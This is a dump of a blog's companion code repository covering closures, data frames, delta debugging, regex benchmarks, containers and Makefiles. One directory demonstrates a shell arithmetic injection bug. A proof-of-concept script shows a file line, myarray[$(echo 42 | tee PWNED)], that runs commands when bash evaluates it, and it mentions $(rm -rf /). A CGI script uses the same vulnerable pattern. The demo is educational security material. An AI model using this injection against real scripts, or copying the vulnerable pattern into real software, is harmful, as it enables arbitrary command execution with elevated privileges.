85 | echo 86 | 87 | # 112 rt_sigaction calls 88 | strace -c ./hello_gccgo 89 | echo 90 | 91 | # 59 KB 92 | ls -l hello_gccgo 93 | } 94 | 95 | 96 | "$@" 97 | -------------------------------------------------------------------------------- /closures/demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | """ 3 | demo.py 4 | """ 5 | 6 | import sys 7 | 8 | 9 | x = 1 10 | def UseLocalBeforeAssigned(): 11 | print(x) 12 | x = 2 13 | print(x) 14 | 15 | 16 | # Using y from closing scope, but not mutating it. 17 | # "Add" outlives MakeAdder. 18 | def MakeAdder(y): 19 | def Add(x): 20 | return x + y 21 | return Add 22 | 23 | 24 | # Mutating enclosing scope. 25 | def MakeCounter(): 26 | count = 0 27 | def Inc(x): 28 | # UnboundLocalError if this isn't here 29 | nonlocal count 30 | count += x 31 | return count 32 | return Inc 33 | 34 | 35 | # Using x from enclosing scope. But inner function doesn't outlive the outer. 36 | def FilterDemo(): 37 | x = 3 38 | mylist = range(5) 39 | 40 | f = filter(lambda item: item != x, mylist) 41 | return list(f) 42 | 43 | # This is very weird to me. score is just a local variable that's mutated by 44 | # one of 4 buttons? No explicit state? 45 | 46 | # https://www.python.org/dev/peps/pep-3104/ 47 | 48 | def make_scoreboard(frame, score=0): 49 | label = Label(frame) 50 | label.pack() 51 | for i in [-10, -1, 1, 10]: 52 | def increment(step=i): 53 | score = score + step # fails with UnboundLocalError 54 | label['text'] = score 55 | button = Button(frame, text='%+d' % i, command=increment) 56 | button.pack() 57 | return label 58 | 59 | 60 | 61 | def main(argv): 62 | try: 63 | UseLocalBeforeAssigned() 64 | except UnboundLocalError as e: 65 | print(e) 66 | 67 | print() 68 | 69 | add5 = MakeAdder(5) 70 | print(add5(1)) # 6 71 | print(add5(2)) # 7 72 | 73 | print() 74 | 75 | inc = MakeCounter() 76 | print(inc(3)) 77 | print(inc(5)) 78 | 79 | print() 80 | 81 | print(FilterDemo()) 82 | 83 | 84 | if __name__ == '__main__': 85 | main(sys.argv) 86 | -------------------------------------------------------------------------------- /crazy-old-bug/README.md: -------------------------------------------------------------------------------- 1 | Bug 2 | --- 3 | 4 | - [Shell Double 5 | Expansion](https://docs.fedoraproject.org/en-US/Fedora_Security_Team/1/html/Defensive_Coding/sect-Defensive_Coding-Shell-Double_Expansion.html) 6 | from the Fedora Security Team 7 | - [Security Implications of using unsanitized data in Shell Arithmetic 8 | evaluation](https://unix.stackexchange.com/questions/172103/security-implications-of-using-unsanitized-data-in-shell-arithmetic-evaluation/172109#172109) 9 | by Stéphane Chazelas on StackOverflow 10 | 11 | I mentioned this in my 2019 BayLISA talk: 12 | 13 | - [A Story About a 30-Year Old Security Problem](https://www.oilshell.org/blog/2019/01/18.html#a-story-about-a-30-year-old-security-problem) 14 | -------------------------------------------------------------------------------- /crazy-old-bug/cgi-hello.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cat < 7 | 8 | 9 | Hello 10 | 11 | 12 | 13 |

Hello

14 | EOF 15 | 16 | 17 | if [ "$REQUEST_METHOD" = "POST" ]; then 18 | echo "

POST

" 19 | if [[ "$CONTENT_LENGTH" -gt 0 ]]; then 20 | echo "

CONTENT_LENGTH=$CONTENT_LENGTH

" 21 | { 22 | while read -r line; do 23 | echo "$line" 24 | done 25 | } > out.txt 26 | echo "

Wrote to out.txt

" 27 | fi 28 | fi 29 | 30 | cat < 32 | 33 | EOF 34 | -------------------------------------------------------------------------------- /crazy-old-bug/ss2-minimal.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Author: Andy Chu (andy@oilshell.org) 3 | 4 | cat <<'EOF' 5 | 6 | Suppose this script runs as root on a user-supplied data file, and suppose the 7 | user knows that it's run like this: 8 | 9 | $ ./ss2-minimal.sh userfile 10 | 11 | Then they can supply 'userfile' with these contents: 12 | 13 | myarray[$(echo 42 | tee PWNED)] 14 | 15 | And cause arbitrary shell code to be executed with elevated privileges. The 16 | issue is: 17 | 18 | - echo $(( len + 1 )) evaluates 'len' in an arithmetic context, 19 | - mksh and bash try to evaluate array expressions like myarray[0] in arithmetic 20 | contexts, and 21 | - Array subscripts can be formed from command substitutions like $(rm -rf /). 22 | 23 | Note that if the file is this: 24 | 25 | $(echo 42 | tee PWNED) 26 | 27 | Then the exploit does NOT work. 28 | 29 | A realistic situation where this may be encountered is when doing arithmetic on 30 | the CONTENT_LENGTH header of a CGI request. 31 | 32 | https://stackoverflow.com/questions/52242133/how-to-get-file-from-post-data-in-bash-cgi-script 33 | 34 | This example would be exploitable if it used [[ rather than [. [ doesn't use 35 | an arithmetic context, but [[ does. See more arithmetic contexts in 36 | ss2-demos.sh. 37 | 38 | EOF 39 | 40 | echo --- 41 | echo 42 | 43 | rm -f PWNED # remove results of previous exploits 44 | 45 | # Read a line from a user-supplied file 46 | file=${1:-userfile} 47 | read len < $file 48 | 49 | # Do some arithmetic on it. SURPRISINGLY, This code allows an exploit! 50 | echo $(( len + 1 )) # POSIX shell 51 | 52 | # [[ len -eq 0 ]] and many other expression also work in mksh and bash. See 53 | # ss2-demos.sh or mksh-ss2-demos.sh. 54 | 55 | cat < { 9 | res.statusCode = 200; 10 | res.setHeader('Content-Type', 'text/plain'); 11 | res.end('Hello World\n'); 12 | console.log(`Done request`); 13 | }); 14 | 15 | server.listen(port, hostname, () => { 16 | console.log(`Server running at http://${hostname}:${port}/`); 17 | }); 18 | -------------------------------------------------------------------------------- /daemon-stdout/foo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | exec ./foo.js "$@" >stdout_and_stderr.txt 2>&1 4 | -------------------------------------------------------------------------------- /data-frames/README.md: -------------------------------------------------------------------------------- 1 | ## What is a Data Frame? Comparing R, Python, and SQL. 2 | 3 | See the [companion article][blog-post] on the [Oil 4 | blog](https://www.oilshell.org/blog/). 5 | 6 | This directory has **five** different implementations of the same analysis on 7 | [traffic.csv](traffic.csv): 8 | 9 | - `without_data_frames.py` -- plain Python code. 10 | - `with_dplyr.R` -- with the dplyr library in R. 11 | - `with_base_R.R` -- with base R (no libraries). 12 | - `with_pandas.py` -- with the Pandas library in Python. 13 | - `run.sh` has a pure SQL solution with sqlite. 14 | 15 | If you have all dependencies installed, you can run it like this: 16 | 17 | ./run.sh all 18 | 19 | I tested it on an Ubuntu 16.04 machine. 20 | 21 | 22 | ### Dependencies 23 | 24 | You may need to run some of these commands: 25 | 26 | ./run.sh install-r 27 | ./run.sh install-pandas 28 | ./run.sh install-dplyr # This takes awhile 29 | 30 | Look inside `run.sh` and adjust these functions for your OS, if necessary. 31 | 32 | ### TODO 33 | 34 | - Julia? Feel free to send me a patch to port this to DataFrames.jl. 35 | 36 | [blog-post]: http://www.oilshell.org/blog/2018/11/30.html 37 | -------------------------------------------------------------------------------- /data-frames/traffic.csv: -------------------------------------------------------------------------------- 1 | date,url,num_hits 2 | 2018-11-30,/site.html, 300 3 | 2018-11-30,/blog/, 1000 4 | 2018-12-01,/site.html, 320 5 | 2018-12-01,/blog/, 1300 6 | 2018-12-02,/site.html, 310 7 | 2018-12-02,/blog/, 1800 8 | 2018-12-02,/data-frames.html, 7500 9 | -------------------------------------------------------------------------------- /data-frames/with_base_R.R: -------------------------------------------------------------------------------- 1 | #!/usr/bin/Rscript 2 | # 3 | # example.R 4 | 5 | options(stringsAsFactors = F) # always use this in R 6 | 7 | Log = function(fmt, ...) { 8 | cat('\n ') 9 | cat(sprintf(fmt, ...)) 10 | cat('\n') 11 | } 12 | 13 | main = function(argv) { 14 | traffic = read.csv('traffic.csv', colClasses=c("Date", "character", "numeric")) 15 | 16 | Log('Loaded data:') 17 | print(traffic) 18 | 19 | daily = aggregate(traffic$num_hits, by=list(date=traffic$date), FUN=sum) 20 | Log('Daily traffic:') 21 | print(daily) 22 | 23 | total_hits = sum(traffic$num_hits) 24 | Log('Total hits = %d', total_hits) 25 | 26 | percentage = function(num_hits) { 27 | sum(num_hits) / total_hits * 100.0 28 | } 29 | popular = aggregate(traffic$num_hits, by=list(url=traffic$url), FUN=percentage) 30 | names(popular) = c('url', 'percentage') 31 | popular = popular[order(popular$percentage, decreasing=TRUE), ] 32 | Log('Popular Pages:') 33 | print(popular) 34 | } 35 | 36 | main(commandArgs(TRUE)) 37 | -------------------------------------------------------------------------------- /data-frames/with_dplyr.R: -------------------------------------------------------------------------------- 1 | #!/usr/bin/Rscript 2 | # 3 | # with_dplyr.R 4 | 5 | library(dplyr) 6 | 7 | options(stringsAsFactors = F) # always use this in R 8 | 9 | Log = function(fmt, ...) { 10 | cat('\n ') 11 | cat(sprintf(fmt, ...)) 12 | cat('\n') 13 | } 14 | 15 | main = function(argv) { 16 | Log('----') 17 | 18 | traffic = read.csv('traffic.csv', colClasses=c("Date", "character", "numeric")) 19 | Log('Loaded data:') 20 | print(traffic) 21 | 22 | traffic %>% 23 | group_by(date) %>% 24 | summarize(num_hits = sum(num_hits)) -> 25 | daily # assign to 'daily' 26 | Log('Daily traffic:') 27 | print(daily) 28 | 29 | total_hits = sum(traffic$num_hits) 30 | Log('Total hits = %d', total_hits) 31 | 32 | traffic %>% 33 | group_by(url) %>% 34 | summarize(percentage = sum(num_hits) / total_hits * 100.0) %>% 35 | arrange(desc(percentage)) -> 36 | popular 37 | Log('Popular Pages:') 38 | print(popular) 39 | } 40 | 41 | main(commandArgs(TRUE)) 42 | -------------------------------------------------------------------------------- /data-frames/with_pandas.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | """ 3 | example.py 4 | """ 5 | import sys 6 | 7 | import pandas as pd 8 | 9 | 10 | def log(msg, *args): 11 | print() 12 | if args: 13 | msg = msg % args 14 | print(' ' + msg) 15 | 16 | 17 | def main(argv): 18 | traffic = pd.read_csv('traffic.csv') 19 | log('Loaded:') 20 | print(traffic) 21 | 22 | daily = traffic.groupby('date').sum() 23 | log('Daily Traffic:') 24 | print(daily) 25 | 26 | total_hits = sum(traffic.num_hits) 27 | log('Total hits = %d', total_hits) 28 | 29 | # https://stackoverflow.com/questions/29802034/set-column-name-for-apply-result-over-groupby 30 | popular = ( 31 | traffic.groupby('url') 32 | .apply(lambda x: sum(x.num_hits) / total_hits * 100.0) 33 | .reset_index(name='percentage') 34 | .sort_values(by='percentage', ascending=False) 35 | ) 36 | 37 | log('Popular Pages:') 38 | print(popular) 39 | 40 | 41 | if __name__ == '__main__': 42 | main(sys.argv) 43 | -------------------------------------------------------------------------------- /data-frames/without_data_frames.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | """ 3 | without_data_frames.py 4 | """ 5 | 6 | import collections 7 | import csv 8 | 9 | 10 | def log(msg, *args): 11 | print() 12 | if args: 13 | msg = msg % args 14 | print(' ' + msg) 15 | 16 | 17 | def main(): 18 | # Load data 19 | with open('traffic.csv') as f: 20 | reader = csv.reader(f) 21 | 22 | # Skip the title 23 | date, url, num_hits = reader.__next__() 24 | assert date == 'date' and url == 'url' and num_hits == 'num_hits', 'Invalid header row' 25 | 26 | # Compute two "group by" dictionaries, and the total number of hits. 27 | by_url = collections.defaultdict(int) 28 | by_date = collections.defaultdict(int) 29 | total_hits = 0 30 | 31 | for date, url, num_hits in reader: 32 | num_hits = int(num_hits) 33 | by_date[date] += num_hits 34 | by_url[url] += num_hits 35 | total_hits += num_hits 36 | 37 | log('Daily Traffic:') 38 | print('%20s %s' % ('date', 'num_hits')) 39 | daily = sorted(by_date.items()) # sort by date 40 | for date, num_hits in daily: 41 | print('%20s %d' % (date, num_hits)) 42 | 43 | log('Popular Pages:') 44 | print('%20s %s' % ('url', 'percentage')) 45 | popular = sorted(by_url.items(), key=lambda x: x[1], reverse=True) 46 | for url, num_hits in popular: 47 | print('%20s %.2f' % (url, float(num_hits) / total_hits * 100.0)) 48 | 49 | 50 | if __name__ == '__main__': 51 | main() 52 | -------------------------------------------------------------------------------- /ddmin/README.md: -------------------------------------------------------------------------------- 1 | ddmin Refactoring 2 | ================= 3 | 4 | A comment in this [lobste.rs thread][thread] linked to the original Python 5 | implementation of the **ddmin** "minimizing delta debugging algorithm", by 6 | Andreas Zeller. 7 | 8 | It's small piece of code, so I decided to rewrite it into modern Python 9 | to understand the algorithm better. 10 | 11 | Here are some things to try: 12 | 13 | ./ddmin.py # Zeller's version 14 | 15 | ./my_ddmin.py # my version 16 | 17 | ./run.sh count # my version is now all contained inone file 18 | 19 | And then read `ddmin.py` vs `my_ddmin.py`. 20 | 21 | I still haven't applied it to a practical problem, but I suspect it will help 22 | me with [Oil](https://www.oilshell.org) bugs. I've been knee-deep in many 23 | large shell scripts! 24 | 25 | Links 26 | ----- 27 | 28 | [Morning Paper on "Simplifying and Isolating Failure Inducing Input"][morning] 29 | 30 | [thread]: https://lobste.rs/s/gone7a/celebration_code_6_pieces_code_had_impact 31 | 32 | [morning]: https://blog.acolyer.org/2015/11/16/simplifying-and-isolating-failure-inducing-input/ 33 | 34 | -------------------------------------------------------------------------------- /ddmin/listsets.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # $Id: listsets.py,v 2.1 2004/07/14 17:38:53 zeller Exp $ 3 | 4 | def listminus(c1, c2): 5 | """Return a list of all elements of C1 that are not in C2.""" 6 | s2 = {} 7 | for delta in c2: 8 | s2[delta] = 1 9 | 10 | c = [] 11 | for delta in c1: 12 | if not s2.has_key(delta): 13 | c.append(delta) 14 | 15 | return c 16 | 17 | def listintersect(c1, c2): 18 | """Return the common elements of C1 and C2.""" 19 | s2 = {} 20 | for delta in c2: 21 | s2[delta] = 1 22 | 23 | c = [] 24 | for delta in c1: 25 | if s2.has_key(delta): 26 | c.append(delta) 27 | 28 | def listunion(c1, c2): 29 | """Return the union of C1 and C2.""" 30 | s1 = {} 31 | for delta in c1: 32 | s1[delta] = 1 33 | 34 | c = c1[:] 35 | for delta in c2: 36 | if not s1.has_key(delta): 37 | c.append(delta) 38 | 39 | return c 40 | 41 | def listsubseteq(c1, c2): 42 | """Return 1 if C1 is a subset or equal to C2.""" 43 | s2 = {} 44 | for delta in c2: 45 | s2[delta] = 1 46 | 47 | for delta in c1: 48 | if not s2.has_key(delta): 49 | return 0 50 | -------------------------------------------------------------------------------- /ddmin/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | # The original code by Andreas Zeller (author of the paper) is mentioend here: 11 | # https://lobste.rs/s/gone7a/celebration_code_6_pieces_code_had_impact 12 | 13 | # (The shorter one inline didn't seem to run.) 14 | 15 | download() { 16 | wget --no-clobber \ 17 | https://www.st.cs.uni-saarland.de/whyprogramsfail/code/dd/ddmin.py \ 18 | https://www.st.cs.uni-saarland.de/whyprogramsfail/code/dd/split.py \ 19 | https://www.st.cs.uni-saarland.de/whyprogramsfail/code/dd/listsets.py 20 | chmod +x ddmin.py 21 | } 22 | 23 | count() { 24 | wc -l *.py 25 | } 26 | 27 | compare-output() { 28 | diff -u <(./ddmin.py) <(./my_ddmin.py) 29 | } 30 | 31 | # Run with both Python 2 and Python 3. 32 | smoke-test() { 33 | python2 my_ddmin.py 34 | python3 my_ddmin.py 35 | } 36 | 37 | "$@" 38 | -------------------------------------------------------------------------------- /ddmin/split.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # $Id: split.py,v 2.2 2004/07/17 11:09:18 zeller Exp $ 3 | 4 | def split(circumstances, n): 5 | """Split a configuration CIRCUMSTANCES into N subsets; 6 | return the list of subsets""" 7 | 8 | subsets = [] 9 | start = 0 10 | for i in range(0, n): 11 | len_subset = int((len(circumstances) - start) / float(n - i) + 0.5) 12 | subset = circumstances[start:start + len_subset] 13 | subsets.append(subset) 14 | start = start + len(subset) 15 | 16 | assert len(subsets) == n 17 | for s in subsets: 18 | assert len(s) > 0 19 | 20 | return subsets 21 | -------------------------------------------------------------------------------- /derivatives/_gen/synthetic-rsc-10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/derivatives/_gen/synthetic-rsc-10.png -------------------------------------------------------------------------------- /derivatives/_gen/synthetic-rsc-10.re2c.cc: -------------------------------------------------------------------------------- 1 | /*!re2c 2 | 3 | "a?a?a?a?a?a?a?a?a?a?aaaaaaaaaa" { 4 | printf("yes\n"); 5 | } 6 | * { 7 | printf("no\n"); 8 | } 9 | 10 | */ 11 | -------------------------------------------------------------------------------- /derivatives/_gen/synthetic-rsc-11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/derivatives/_gen/synthetic-rsc-11.png -------------------------------------------------------------------------------- /derivatives/_gen/synthetic-rsc-11.re2c.cc: -------------------------------------------------------------------------------- 1 | /*!re2c 2 | 3 | "a?a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaa" { 4 | printf("yes\n"); 5 | } 6 | * { 7 | printf("no\n"); 8 | } 9 | 10 | */ 11 | -------------------------------------------------------------------------------- /derivatives/_gen/synthetic-rsc-12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/derivatives/_gen/synthetic-rsc-12.png -------------------------------------------------------------------------------- /derivatives/_gen/synthetic-rsc-12.re2c.cc: -------------------------------------------------------------------------------- 1 | /*!re2c 2 | 3 | "a?a?a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaaa" { 4 | printf("yes\n"); 5 | } 6 | * { 7 | printf("no\n"); 8 | } 9 | 10 | */ 11 | -------------------------------------------------------------------------------- /derivatives/py3-hack.sh: -------------------------------------------------------------------------------- 1 | # Usage: 2 | # source ./py3-hack.sh 3 | 4 | export PATH=/wedge/oils-for-unix.org/pkg/python3/3.10.4/bin:$PATH 5 | -------------------------------------------------------------------------------- /derivatives/synthetic-rsc.re2c.template: -------------------------------------------------------------------------------- 1 | /*!re2c 2 | 3 | "__REGEX_HERE__" { 4 | printf("yes\n"); 5 | } 6 | * { 7 | printf("no\n"); 8 | } 9 | 10 | */ 11 | -------------------------------------------------------------------------------- /derivatives/synthetic-rsc.txt: -------------------------------------------------------------------------------- 1 | --- 2 | n=14 epsilon a?a?a?a?a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaaaaa aaaaaaaaaaaaaa 3 | 4 | 0.00140 Parsed 5 | 0.34180 DFA 6 | 0.34180 Matched 7 | aaaaaaaaaaaaaa 8 | *** process user mode secs = 0.382 9 | --- 10 | n=16 epsilon a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa 11 | 12 | 0.00211 Parsed 13 | 0.63654 DFA 14 | 0.63654 Matched 15 | aaaaaaaaaaaaaaaa 16 | *** process user mode secs = 0.675 17 | --- 18 | n=18 epsilon a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaa 19 | 20 | 0.00247 Parsed 21 | 1.07160 DFA 22 | 1.07160 Matched 23 | aaaaaaaaaaaaaaaaaa 24 | *** process user mode secs = 1.104 25 | --- 26 | n=14 py-nfa a?a?a?a?a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaaaaa aaaaaaaaaaaaaa 27 | 28 | Matching 'aaaaaaaaaaaaaa' 29 | aaaaaaaaaaaaaa 30 | *** process user mode secs = 0.044 31 | --- 32 | n=16 py-nfa a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa 33 | 34 | Matching 'aaaaaaaaaaaaaaaa' 35 | aaaaaaaaaaaaaaaa 36 | *** process user mode secs = 0.040 37 | --- 38 | n=18 py-nfa a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?aaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaa 39 | 40 | Matching 'aaaaaaaaaaaaaaaaaa' 41 | aaaaaaaaaaaaaaaaaa 42 | *** process user mode secs = 0.043 43 | -------------------------------------------------------------------------------- /docker/bwrap.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Usage: 4 | # ./bwrap.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | show() { 11 | # wow this is tiny, only 51K 12 | ls -l $(which bwrap) 13 | 14 | # links against libselinux 15 | ldd $(which bwrap) 16 | } 17 | 18 | deps() { 19 | # not mentioned in the README !!! 20 | # needed for ./configure from the tarball 21 | sudo apt install libcap-dev 22 | } 23 | 24 | bwrap() { 25 | _deps/bubblewrap-0.5.0/bwrap "$@" 26 | } 27 | 28 | demo() { 29 | #bwrap --ro-bind /usr /usr bash 30 | 31 | # hm this thing from the demo doesn't work 32 | bwrap --ro-bind /usr /usr --symlink usr/lib64 /lib64 --proc /proc --dev /dev --unshare-pid bash 33 | 34 | # also demos/bubblewrap-shell.sh in the repo doesn't work? 35 | # also where are the instructions to build? I guess you need a tarbal 36 | } 37 | 38 | demo2() { 39 | # OK this works! And is very fast. 40 | time bwrap --ro-bind _container/rootfs/ / -- sh -c 'echo hi' 41 | } 42 | 43 | "$@" 44 | -------------------------------------------------------------------------------- /docker/docker-as-proc.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Usage: 4 | # ./docker-as-proc.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | demo() { 11 | # why do I need -i in addition to -a stdin? 12 | echo mystdin | sudo docker run -a stdin -a stdout -a stderr -i alpine \ 13 | sh -c 'read x; echo stdin=$x; echo stderr >&2' 14 | } 15 | 16 | terminal-demo() { 17 | # busybox ls has --color=auto 18 | sudo docker run -a stdin -a stdout -a stderr -i -t alpine \ 19 | ls --color=auto 20 | } 21 | 22 | startup-time() { 23 | time sh -c 'echo hi' 24 | # ~570 ms on a very fast machine! (lenny.local) 25 | time sudo docker run alpine sh -c 'echo hi' 26 | } 27 | 28 | "$@" 29 | -------------------------------------------------------------------------------- /docker/docker-pull.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | image="${1:-golang}" 4 | registry_url='https://registry-1.docker.io' 5 | auth_url='https://auth.docker.io' 6 | svc_url='registry.docker.io' 7 | 8 | function auth_token { 9 | curl -fsSL "${auth_url}/token?service=${svc_url}&scope=repository:library/${image}:pull" | jq --raw-output .token 10 | } 11 | 12 | function manifest { 13 | token="$1" 14 | image="$2" 15 | digest="${3:-latest}" 16 | 17 | curl -fsSL \ 18 | -H "Authorization: Bearer $token" \ 19 | -H 'Accept: application/vnd.docker.distribution.manifest.list.v2+json' \ 20 | -H 'Accept: application/vnd.docker.distribution.manifest.v1+json' \ 21 | -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' \ 22 | "${registry_url}/v2/library/${image}/manifests/${digest}" 23 | } 24 | 25 | function blob { 26 | token="$1" 27 | image="$2" 28 | digest="$3" 29 | file="$4" 30 | 31 | curl -fsSL -o "$file" \ 32 | -H "Authorization: Bearer $token" \ 33 | "${registry_url}/v2/library/${image}/blobs/${digest}" 34 | } 35 | 36 | function linux_version { 37 | echo "$1" | jq --raw-output '.manifests[] | select(.platform.architecture=="amd64") | select(.platform.os=="linux") | .digest' 38 | } 39 | 40 | function layers { 41 | echo "$1" | jq --raw-output '.layers[].digest' 42 | } 43 | 44 | function config { 45 | echo "$1" | jq --raw-output '.config.digest' 46 | } 47 | 48 | token=$(auth_token "$image") 49 | amd64=$(linux_version $(manifest "$token" "$image")) 50 | mf=$(manifest "$token" "$image" "$amd64") 51 | blob "$token" "$image" $(config "$mf") config.json 52 | 53 | i=0 54 | for L in $(layers "$mf"); do 55 | blob "$token" "$image" "$L" "layer_${i}.tgz" 56 | i=$((i + 1 )) 57 | done 58 | -------------------------------------------------------------------------------- /docker/podman.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Usage: 4 | # ./podman.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | download() { 11 | mkdir -p _deps 12 | wget --directory _deps --no-clobber \ 13 | https://github.com/containers/podman/releases/download/v3.4.2/podman-remote-static.tar.gz 14 | } 15 | 16 | # Uh this isn't what I want? It's management of a remote system. I want 17 | # something local. I guess podman uses crun or runc or something. 18 | # 19 | # https://github.com/containers/podman/blob/main/docs/tutorials/remote_client.md 20 | 21 | podman() { 22 | _deps/podman-remote-static "$@" 23 | } 24 | 25 | # Uh this tries to find qemu-system-x86_64 26 | init() { 27 | podman machine init 28 | } 29 | 30 | "$@" 31 | -------------------------------------------------------------------------------- /docker/runc.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Usage: 4 | # ./runc.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | show() { 11 | # This was already installed as /usr/sbin/runc, maybe because I installed 12 | # docker? 13 | which runc 14 | } 15 | 16 | # Based on these instructions 17 | # https://github.com/opencontainers/runc/#rootless-containers 18 | 19 | rootless-export() { 20 | mkdir -p _container/ 21 | cd _container/ 22 | mkdir -p rootfs 23 | 24 | # gah root again! 25 | local id=$(sudo docker create busybox) 26 | 27 | 28 | # [sudo] password for andy: 29 | # Unable to find image 'busybox:latest' locally 30 | # latest: Pulling from library/busybox 31 | # 3aab638df1a9: Pulling fs layer 32 | # 3aab638df1a9: Verifying Checksum 33 | # 3aab638df1a9: Download complete 34 | # 3aab638df1a9: Pull complete 35 | # Digest: sha256:52817dece4cfe26f581c834d27a8e1bcc82194f914afe6d50afad5a101234ef1 36 | # Status: Downloaded newer image for busybox:latest 37 | # id=df605fb57bed3bed153964ac4fe3b740be94fbcc37097535526a9c61c50341e6 38 | 39 | # andy@lenny:~/git/oilshell/blog-code/docker$ ./runc.sh rootless-export 40 | # id=1d180be197597a030710c1b8d8a13d9b9a1f68bd1f548076c25fa0f65dd5609c 41 | 42 | echo id=$id 43 | 44 | sudo docker export $id | tar --directory rootfs -x -v -f - 45 | 46 | 47 | # Creates config.json 48 | # The --rootless parameter instructs runc spec to generate a configuration for a rootless container, which will allow you to run the container as a non-root user. 49 | runc spec --rootless 50 | } 51 | 52 | rootless-demo() { 53 | ls -l _container 54 | wc -l _container/config.json 55 | 56 | # This doesn't accept arguments! It's in config.json 57 | # args: ["sh"] 58 | 59 | cd _container 60 | runc --root /tmp/runc run mycontainerid 61 | } 62 | 63 | "$@" 64 | -------------------------------------------------------------------------------- /dotd/Makefile: -------------------------------------------------------------------------------- 1 | default: main 2 | 3 | %.d: %.c 4 | @set -e; rm -f $@; cc_tmp=$@.mm; \ 5 | $(CC) -M $(CPPFLAGS) $< > $$cc_tmp; \ 6 | sed 's,\($*\)\.o[ :]*,\1.o $@ : ,g' < $$cc_tmp > $@; 7 | 8 | 9 | SOURCES = main.c 10 | 11 | OBJS = $(SOURCES:.c=.o) 12 | 13 | # NOTE: Adding -include removes error message 14 | include $(SOURCES:.c=.d) 15 | 16 | main: $(OBJS) 17 | cc -o $@ $(OBJS) 18 | 19 | -------------------------------------------------------------------------------- /dotd/defs.h: -------------------------------------------------------------------------------- 1 | #define EXIT_CODE 42 2 | -------------------------------------------------------------------------------- /dotd/main.c: -------------------------------------------------------------------------------- 1 | #define EXIT_CODE 99 2 | #include "defs.h" 3 | 4 | int main() { 5 | return EXIT_CODE; 6 | } 7 | -------------------------------------------------------------------------------- /dotd/newdep.h: -------------------------------------------------------------------------------- 1 | #define EXIT_CODE 100 2 | -------------------------------------------------------------------------------- /dotd/short.mk: -------------------------------------------------------------------------------- 1 | default: main 2 | 3 | CFLAGS = -MD 4 | 5 | SOURCES = main.c 6 | 7 | OBJS = $(SOURCES:.c=.o) 8 | 9 | # NOTE: Adding -include removes error message 10 | -include $(SOURCES:.c=.d) 11 | 12 | main: $(OBJS) 13 | cc -o $@ $(OBJS) 14 | 15 | -------------------------------------------------------------------------------- /dynamic-programming/partition.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | """ 3 | partition.py 4 | 5 | Copy of 6 | 7 | https://stackoverflow.com/questions/7938809/how-to-understand-the-dynamic-programming-solution-in-linear-partitioning 8 | """ 9 | from __future__ import print_function 10 | 11 | import sys 12 | 13 | from operator import itemgetter 14 | 15 | 16 | def linear_partition(seq, k): 17 | if k <= 0: 18 | return [] 19 | n = len(seq) - 1 20 | if k > n: 21 | return map(lambda x: [x], seq) 22 | table, solution = linear_partition_table(seq, k) 23 | k, ans = k-2, [] 24 | while k >= 0: 25 | ans = [[seq[i] for i in xrange(solution[n-1][k]+1, n+1)]] + ans 26 | n, k = solution[n-1][k], k-1 27 | return [[seq[i] for i in xrange(0, n+1)]] + ans 28 | 29 | def linear_partition_table(seq, k): 30 | n = len(seq) 31 | table = [[0] * k for x in xrange(n)] 32 | solution = [[0] * (k-1) for x in xrange(n-1)] 33 | for i in xrange(n): 34 | table[i][0] = seq[i] + (table[i-1][0] if i else 0) 35 | for j in xrange(k): 36 | table[0][j] = seq[0] 37 | for i in xrange(1, n): 38 | for j in xrange(1, k): 39 | table[i][j], solution[i-1][j-1] = min( 40 | ((max(table[x][j-1], table[i][0]-table[x][0]), x) for x in xrange(i)), 41 | key=itemgetter(0)) 42 | return (table, solution) 43 | 44 | 45 | def main(argv): 46 | k = int(argv[1]) 47 | seq = [int(s) for s in argv[2:]] 48 | p = linear_partition(seq, k) 49 | print(p) 50 | print([sum(part) for part in p]) 51 | print() 52 | 53 | 54 | if __name__ == '__main__': 55 | try: 56 | main(sys.argv) 57 | except RuntimeError as e: 58 | print('FATAL: %s' % e, file=sys.stderr) 59 | sys.exit(1) 